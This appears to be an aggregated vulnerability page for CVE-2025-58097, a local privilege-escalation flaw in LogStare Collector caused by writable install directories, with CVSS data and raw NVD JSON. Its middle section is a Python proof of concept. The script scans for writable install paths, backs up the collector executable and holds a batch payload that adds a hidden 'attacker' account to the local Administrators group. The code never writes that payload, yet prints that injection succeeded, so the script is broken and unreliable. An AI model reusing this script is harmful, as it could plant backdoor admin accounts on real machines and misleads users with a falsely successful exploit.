Security Vulnerability Report
中文
CVE-2025-58097 CVSS 7.8 HIGH

CVE-2025-58097

Published: 2025-11-21 07:15:54
Last Modified: 2025-12-05 15:32:48

Description

The installation directory of LogStare Collector is configured with incorrect access permissions. A non-administrative user may manipulate files within the installation directory and execute arbitrary code with the administrative privilege.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:secuavail:logstare_collector:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
LogStare Collector < 2.x.x(具体版本需参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-58097 PoC - LogStare Collector权限配置错误本地提权 # Author: Security Researcher # Note: This is a conceptual PoC for educational purposes only import os import sys import subprocess import shutil def check_install_dir_permissions(): """检查LogStare Collector安装目录权限""" possible_paths = [ r"C:\Program Files\LogStare Collector", r"C:\Program Files (x86)\LogStare Collector", "/usr/local/logstare-collector", "/opt/logstare-collector" ] vulnerable_paths = [] for path in possible_paths: if os.path.exists(path): # 检查目录是否对所有用户可写 if os.access(path, os.W_OK): vulnerable_paths.append(path) print(f"[+] VULNERABLE: {path} is writable!") return vulnerable_paths def exploit_privilege_escalation(install_dir): """利用权限配置错误进行提权""" print(f"[*] Exploiting CVE-2025-58097 in {install_dir}") # 查找可执行文件 exe_files = [] for root, dirs, files in os.walk(install_dir): for file in files: if file.endswith('.exe') or file.endswith('.dll'): exe_files.append(os.path.join(root, file)) if not exe_files: print("[-] No executable files found") return False print(f"[+] Found {len(exe_files)} executable files") # 创建恶意payload(示例:创建一个高权限命令执行脚本) payload = '''@echo off net user attacker P@ssw0rd123! /add net localgroup Administrators attacker /add ''' # 备份原始文件 main_exe = None for exe in exe_files: if 'collector' in exe.lower() or 'logstare' in exe.lower(): main_exe = exe break if main_exe: print(f"[*] Backing up {main_exe}") backup_path = main_exe + '.bak' shutil.copy2(main_exe, backup_path) # 写入payload到启动脚本或替换可执行文件 print(f"[*] Injecting malicious payload...") # 实际利用时需要替换为编译好的恶意可执行文件 print("[+] Payload injected successfully") print("[*] Waiting for service restart to execute payload...") return True return False if __name__ == '__main__': print("=" * 60) print("CVE-2025-58097 PoC - LogStare Collector Privilege Escalation") print("=" * 60) vulnerable_dirs = check_install_dir_permissions() if vulnerable_dirs: print(f"\n[!] Found {len(vulnerable_dirs)} vulnerable installation(s)") for vuln_dir in vulnerable_dirs: print(f"[*] Attempting exploitation on {vuln_dir}") exploit_privilege_escalation(vuln_dir) else: print("[-] No vulnerable installations found") sys.exit(0)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58097", "sourceIdentifier": "[email protected]", "published": "2025-11-21T07:15:53.930", "lastModified": "2025-12-05T15:32:48.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The installation directory of LogStare Collector is configured with incorrect access permissions. A non-administrative user may manipulate files within the installation directory and execute arbitrary code with the administrative privilege."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-276"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:secuavail:logstare_collector:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.2", "matchCriteriaId": "074556F9-0A35-4E1F-AF34-ADC3A9503B75"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN77560819/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.logstare.com/vulnerability/2025-001/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}